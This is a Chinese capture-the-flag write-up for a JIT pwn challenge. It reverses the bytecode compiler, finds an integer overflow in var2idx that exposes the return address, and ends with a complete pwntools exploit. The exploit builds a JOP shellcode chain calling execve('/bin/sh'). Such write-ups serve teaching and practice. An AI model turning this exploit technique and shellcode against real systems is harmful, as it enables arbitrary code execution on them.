赛时没出, 复现.
JIT 题, 大概是把字节码转换成机器码然后执行. C++ 写的, 没抠符号表, 暂且能看.
分析一下整个流程.
main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+7h] [rbp-41h] BYREF
__int64 sz; // [rsp+8h] [rbp-40h]
char v6[40]; // [rsp+10h] [rbp-38h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-10h]
v7 = __readfsqword(0x28u);
sz = read(0, buf, 0x1000uLL);
std::allocator<char>::allocator(&v4);
std::string::basic_string(v6, buf, sz, &v4);
std::string::operator=(&IRstream::ir[abi:cxx11], v6);
std::string::~string(v6);
std::allocator<char>::~allocator(&v4);
Compiler::main();
return 0;
}
|
读入字符串到 buf, 然后拷贝到 IRStream::ir
中. 运行 Compiler::main()
Compiler::main()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
void __cdecl Compiler::main()
{
char *base; // rbx
__int64 v1; // rax
std::unordered_map<unsigned char,Compiler::func>::key_type __x; // [rsp+5h] [rbp-63h] BYREF
std::unordered_map<unsigned char,Compiler::func>::key_type __k; // [rsp+6h] [rbp-62h] BYREF
std::unordered_map<unsigned char,Compiler::func>::key_type v5; // [rsp+7h] [rbp-61h] BYREF
void *entry; // [rsp+8h] [rbp-60h]
std::string boot; // [rsp+10h] [rbp-58h] BYREF
std::string p_payload; // [rsp+30h] [rbp-38h] BYREF
unsigned __int64 v9; // [rsp+58h] [rbp-10h]
v9 = __readfsqword(0x28u);
JITHelper::init();
entry = JITHelper::nowptr();
std::literals::string_literals::operator"" s[abi:cxx11](&boot, _str, 0xBuLL);
std::string::basic_string(&p_payload, &boot);
JITHelper::write(&p_payload);
std::string::~string(&p_payload);
while ( !IRstream::empty() )
Compiler::handleFn();
JITHelper::finailize();
__x = 0;
if ( !std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &__x)
|| (__k = 0, std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &__k)->args)
|| (v5 = 0,
base = (char *)std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &v5)->base,
v1 = std::string::size(&boot),
base != (char *)entry + v1) )
{
fatal();
}
Compiler::clrstk();
((void (*)(void))entry)();
std::string::~string(&boot);
}
|
先看前面一部分:
1
2
3
4
5
6
|
JITHelper::init();
entry = JITHelper::nowptr();
std::literals::string_literals::operator"" s[abi:cxx11](&boot, _str, 0xBuLL);
std::string::basic_string(&p_payload, &boot);
JITHelper::write(&p_payload);
std::string::~string(&p_payload);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
void __cdecl JITHelper::init()
{
JITHelper::execbuf = (char *)mmap(0LL, 0x2000uLL, 7, 34, -1, 0LL);
JITHelper::exec_wr = JITHelper::execbuf;
memset(JITHelper::execbuf, 0xCC, 0x2000uLL);
}
void *__cdecl JITHelper::nowptr()
{
return JITHelper::exec_wr;
}
void __cdecl JITHelper::write(std::string *p_payload)
{
size_t v1; // rbx
const void *v2; // rax
if ( JITHelper::total_wr > 0x1900 )
fatal();
v1 = std::string::size(p_payload);
v2 = (const void *)std::string::data(p_payload);
memcpy(JITHelper::exec_wr, v2, v1);
JITHelper::exec_wr += std::string::size(p_payload);
JITHelper::total_wr += std::string::size(p_payload);
}
|
JITHelper::write()
将指令写到 mmap 出来的空间上后, 还将 JITHelper::exec_wr
调整到了下一条指令的开始. JITHelper::nowptr()
就是取当前指令地址, 方便写入.
这几行是 mmap 一块 rwx 权限的匿名空间, 然后写上长度为 0xb 的字符串 _str
(全局变量). 这个 _str
实际上是机器指令:
这里的 call 是相对 rip 寻址的, 所以 call 的是 hlt 的下一条. Compiler::main()
的最后有一句 ((void (*)(void))entry)();
, 即从 entry 这里启动代码.
1
2
3
|
while ( !IRstream::empty() )
Compiler::handleFn();
JITHelper::finailize();
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
bool __cdecl IRstream::empty()
{
return std::string::size(&IRstream::ir[abi:cxx11]) == IRstream::pos;
}
void __cdecl JITHelper::finailize()
{
mprotect(JITHelper::execbuf, 0x2000uLL, 5);
}
void __cdecl Compiler::handleFn()
{
u8 id; // [rsp+5h] [rbp-13h] BYREF
u8 args; // [rsp+6h] [rbp-12h]
u8 locals; // [rsp+7h] [rbp-11h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( IRstream::getop() != 0xFF )
fatal();
id = IRstream::getop();
if ( std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &id) )
fatal();
args = IRstream::getop();
locals = IRstream::getop();
Compiler::creatFunc(id, args, locals);
}
|
可以看出这里大致的逻辑是取每一条 IR, 创建一个函数, 并将 id 映射到 Compiler::func
上, 直到 IR 取完, JITHelper::finailize()
将代码段的写权限取消.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
__x = 0;
if ( !std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &__x)
|| (__k = 0, std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &__k)->args)
|| (v5 = 0,
base = (char *)std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &v5)->base,
v1 = std::string::size(&boot),
base != (char *)entry + v1) )
{
fatal();
}
Compiler::clrstk();
((void (*)(void))entry)();
std::string::~string(&boot);
|
最后这段代码反出来有点难看. if 里三个条件, 判断有 id 为 0 的函数, 并且它的 args 为 0, 它的 base 为 entry 加上 boot 代码后的地址. 大致可以看出, 这是在判断 JIT 的 main 函数. 从而得知, 我们输入的第一个函数是 main 函数, id = 0, args = 0.
1
2
3
4
5
6
7
8
|
void __cdecl Compiler::clrstk()
{
char buf[8192]; // [rsp+0h] [rbp-2018h] BYREF
unsigned __int64 v1; // [rsp+2008h] [rbp-10h]
v1 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
}
|
Compiler::clrstk()
clear stack, 开辟 0x2000 的栈空间并情况, 然后返回. 这样栈上即将被分配的空间就是全 0 的了. 执行的代码用的就是一段空间直接当成栈.
然后我们重点看一下 IR 字节码以及生成的机器指令.
1
2
3
4
5
6
7
8
|
if ( IRstream::getop() != 0xFF )
fatal();
id = IRstream::getop();
if ( std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &id) )
fatal();
args = IRstream::getop();
locals = IRstream::getop();
Compiler::creatFunc(id, args, locals);
|
1
2
3
4
5
6
7
8
9
10
11
12
|
u8 __cdecl IRstream::getop()
{
size_t v0; // rbx
unsigned __int8 r; // [rsp+Fh] [rbp-9h]
v0 = IRstream::pos + 1;
if ( v0 > std::string::size(&IRstream::ir[abi:cxx11]) )
fatal();
r = *(_BYTE *)(std::string::data(&IRstream::ir[abi:cxx11]) + IRstream::pos);
++IRstream::pos;
return r;
}
|
IRstream::getop()
返回当前的一个字节码. 注册一个函数, 字节码为: 0xFF id args locals
共四个字节.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
void __cdecl Compiler::creatFunc(u8 id, u8 args, u8 locals)
{
char ida[16]; // [rsp+Ch] [rbp-7Ch] BYREF
int retidx; // [rsp+1Ch] [rbp-6Ch]
Compiler::func __y; // [rsp+20h] [rbp-68h] BYREF
std::pair<unsigned char const,Compiler::func> __x; // [rsp+30h] [rbp-58h] BYREF
std::string p_payload; // [rsp+50h] [rbp-38h] BYREF
unsigned __int64 v9; // [rsp+78h] [rbp-10h]
ida[0] = id;
v9 = __readfsqword(0x28u);
if ( args > 8u || locals > 0x20u )
fatal();
__y.id = ida[0];
__y.args = args;
__y.locals = locals;
__y.base = JITHelper::nowptr();
std::pair<unsigned char const,Compiler::func>::pair<unsigned char &,Compiler::func,true>(
&__x,
(unsigned __int8 *)ida,
&__y);
std::unordered_map<unsigned char,Compiler::func>::insert(&Compiler::funcs, &__x);
std::allocator<char>::allocator(&__x);
std::string::basic_string(&p_payload, &unk_59E0, &__x);
JITHelper::write(&p_payload);
std::string::~string(&p_payload);
std::allocator<char>::~allocator(&__x);
JITHelper::bwrite<int>(8 * locals);
Compiler::ctx_args = args;
Compiler::ctx_locals = locals;
retidx = Compiler::handleFnBody();
AsmHelper::func_ret(locals, retidx);
}
|
还是拆开来看.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
ida[0] = id;
v9 = __readfsqword(0x28u);
if ( args > 8u || locals > 0x20u )
fatal();
__y.id = ida[0];
__y.args = args;
__y.locals = locals;
__y.base = JITHelper::nowptr();
std::pair<unsigned char const,Compiler::func>::pair<unsigned char &,Compiler::func,true>(
&__x,
(unsigned __int8 *)ida,
&__y);
std::unordered_map<unsigned char,Compiler::func>::insert(&Compiler::funcs, &__x);
|
参数个数不大于 8, 局部变量个数不大于 0x20. 然后将 id, args, locals 赋值给对应成员, 成员 base 赋值为当前机器码将要写入的开始地址.
然后将当前的 pair<id, Compiler::func>
插入 map Compiler::funcs
中.
1
2
3
4
5
6
7
8
9
10
|
std::allocator<char>::allocator(&__x);
std::string::basic_string(&p_payload, &unk_59E0, &__x);
JITHelper::write(&p_payload);
std::string::~string(&p_payload);
std::allocator<char>::~allocator(&__x);
JITHelper::bwrite<int>(8 * locals);
Compiler::ctx_args = args;
Compiler::ctx_locals = locals;
retidx = Compiler::handleFnBody();
AsmHelper::func_ret(locals, retidx);
|
unk_59E0
这里也是指令, 直接用 ida 或者 rizin 都不太能正确逆出来, basic_string
也没有指定长度. 不过我们知道, 字符串以 0x00
结尾. 查看内存, 发现它只有三个字节 0x48 0x81 0xec
后面就跟 0x00
了. 再后面是之前看过的 boot 指令, 它大概率不是需要拷过来的东西.
然而这三个字节反不出来. 原因在下面它还有个 JITHelper::bwrite<int>(8 * locals);
:
1
2
3
4
5
6
7
8
|
void __cdecl JITHelper::bwrite<int>(int val)
{
if ( JITHelper::total_wr > 6400 )
fatal();
*(_DWORD *)JITHelper::exec_wr = val;
JITHelper::exec_wr += 4;
JITHelper::total_wr += 4;
}
|
将后 4 个字节写上了 (int) (locals * 8)
, 我们手动试试, 0x48 0x81 0xec 0x08 0x00 0x00 0x00
, 反出来是 sub rsp, 8
. 所以这一步是在开辟局部变量的栈空间, 只不过分了两次去生成机器指令.
接下来 Compiler::handleFnBody()
就是函数体了, 它的返回值猜测就是这个生成的函数的返回值, 因为下面有个 AsmHelper::func_ret(locals, retidx)
我们先看 Compiler::handleFnBody()
部分. 第一个 case 最简单, 就从第一个下手.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int __cdecl Compiler::handleFnBody()
{
while ( 1 )
{
opcode = IRstream::getop();
switch ( opcode )
{
case 0u:
v0 = IRstream::getop();
return Compiler::var2idx(v0);
...
}
...
}
...
}
|
这个指令就是 ret 了. 看一下 Compiler::var2idx()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
char __cdecl Compiler::var2idx(u8 varib)
{
u8 variba; // [rsp+Ch] [rbp-1Ch]
if ( (varib & 0x7F) == 0 )
fatal();
if ( (varib & 0x80u) == 0 )
{
if ( varib > Compiler::ctx_args )
fatal();
if ( (char)(8 * varib) <= 0 )
fatal();
return 8 * varib;
}
else
{
variba = varib ^ 0x80;
if ( (unsigned __int8)(varib ^ 0x80) > Compiler::ctx_locals )
fatal();
if ( (char)(-8 * variba) > 0 )
fatal();
return -8 * variba;
}
}
|
varib
的最高位当作符号位, 当其为 0 时, 取相应位置的参数; 为 1 时取相应位置的局部变量. 根据一点点函数调用的知识合理推测, 应该是参数放在 rbp 的上方, 局部变量放在 rbp 的下方. 然后返回值是相对 rbp
的偏移量. 这里还判断了不能为 0, 那合理猜测 rbp 这个位置正好是返回地址.
从这里可以推测, 它的 var 指的是参数或者局部变量的序号, idx 指的是相对 rbp 的偏移.
可以写一个简单的字节码调试一下看看, 比如 0xff 0x00 0x00 0x20 0x00 0x81
:
仔细一点会发现一个问题, 前面一个 if ( (char)(8 * varib) <= 0 )
是判断了不能为 0 的, 而后面一个 if ( (char)(-8 * variba) > 0 )
并没有判断. 而 Compiler::ctx_locals
最大是 0x20, 这里恰好存在整数溢出, 使得最后返回值为 0. 对应的是 rbp, 也就是返回地址!
写个简单的字节码确认一下 0xff 0x00 0x00 0x20 0x00 (0x80 | 0x20)
:
果然!
简单对照一个下 AsmHelper::func_ret(locals, retidx)
, 生成 add
指令之后一直到 ret
的指令, 功能是写函数退出并返回的部分.
接下来通过动态调试 + 看函数名猜功能的方法, 得到剩下字节码分别对应的功能:
0x01 var imm64
: var = imm64
0x02 var1 var2
: var1 = var2
0x03 var1 var2
: var1 &= var2
0x04 var1 var2
: var1 |= var2
0x05 var1 var2
: var1 ^= var2
0x06 fnid retvar args arg0 arg1 ...
: retvar = fn(arg0, arg1, ...)
并且其中涉及到的函数基本都是功能单一的填充指令, 可以暂且猜测没有漏洞. call 指令也做了相应的检查, 没发现漏洞.
考虑如何利用. 能够通过整数溢出, 让 var 取得返回地址, 获得控制程序流的能力. 第一个想法就是 ROP. 但是 ROP 有个问题, 既无法先输出 leak libc, 然后输入 (没有读入功能也没有写代码段权限), 又无法通过计算直接布置 ROP 链 (只有位运算没法做相对加减).
不过, 在赋值操作中, 有输入 8 个字节的能力, 这里可以布置一条短的指令, 如果能够让程序跳到这里, 就可以执行布置的指令了. 然后接 jmp 跳到下一个布置的指令上. 也就是 JOP. 同时, 由于这个代码段是从页面起始位置开始的, 而布置的指令不会离这个位置偏差一个页面, 所以可以通过位运算, 把返回地址写成第一个布置的指令, 这样就成功实现控制整个程序了.
这里直接布置 execve("/bin/sh", 0, 0)
的指令. "/bin/sh\0"
可以通过赋值操作写在栈上, 然后根据 rbp 相对偏移去得到. 每一个 8 字节 (以内) 的指令设计如下:
1
2
3
4
5
6
|
mov rdi, rbp; jmp x
sub rdi, 0x10; jmp x
xor esi, esi; jmp x
xor edx, edx; jmp x
xor eax, eax; jmp x
add al, 59; syscall
|
exp 也十分简单 (赛时没静下心来逆向, 看到 “困难” 就想下班, 实际上也没多困难):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
from pwn import *
context(os='linux', arch='amd64')# , log_level='debug')
procname = './jit'
libcname = './libc.so.6'
io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
# libc = ELF(libcname)
n2b = lambda x : str(x).encode()
rv = lambda x : io.recv(x)
ru = lambda s : io.recvuntil(s, drop=True)
sd = lambda s : io.send(s)
sl = lambda s : io.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia = lambda : io.interactive()
rop = lambda r : flat([p64(x) for x in r])
p8s = lambda r : flat([p8(x) for x in r])
def reg_func(id, args, locals, body):
return p8s([0xff, id, args, locals]) + body
def ret(var):
return p8s([0, var])
def define(var, imm):
return flat([p8s([1, var]), p64(imm)])
def assign(var1, var2):
return p8s([2, var1, var2])
def op_and(var1, var2):
return p8s([3, var1, var2])
def op_or(var1, var2):
return p8s([4, var1, var2])
def op_xor(var1, var2):
return p8s([5, var1, var2])
jop = reg_func(1, 0, 1, flat([
define(0x80 | 1, 0x0cebe78948), # mov rdi, rbp; jmp x
define(0x80 | 1, 0x0beb10ef8348), # sub rdi, 0x10; jmp x
define(0x80 | 1, 0x0debf631), # xor esi, esi; jmp x
define(0x80 | 1, 0x0debd231), # xor edx, edx; jmp x
define(0x80 | 1, 0x0debc031), # xor eax, eax; jmp x
define(0x80 | 1, 0x050f3b04), # add al, 59; syscall
ret(0x80 | 1),
]))
boot = reg_func(0, 0, 0x20, flat([
define(0x80 | 1, 0xfffffffffffff000),
op_and(0x80 | 0x20, 0x80 | 1),
define(0x80 | 1, 0x07c),
op_or(0x80 | 0x20, 0x80 | 1),
define(0x80 | 1, 0x68732f6e69622f), # /bin/sh
ret(0x80 | 0x20),
]))
sd(boot + jop)
ia()
|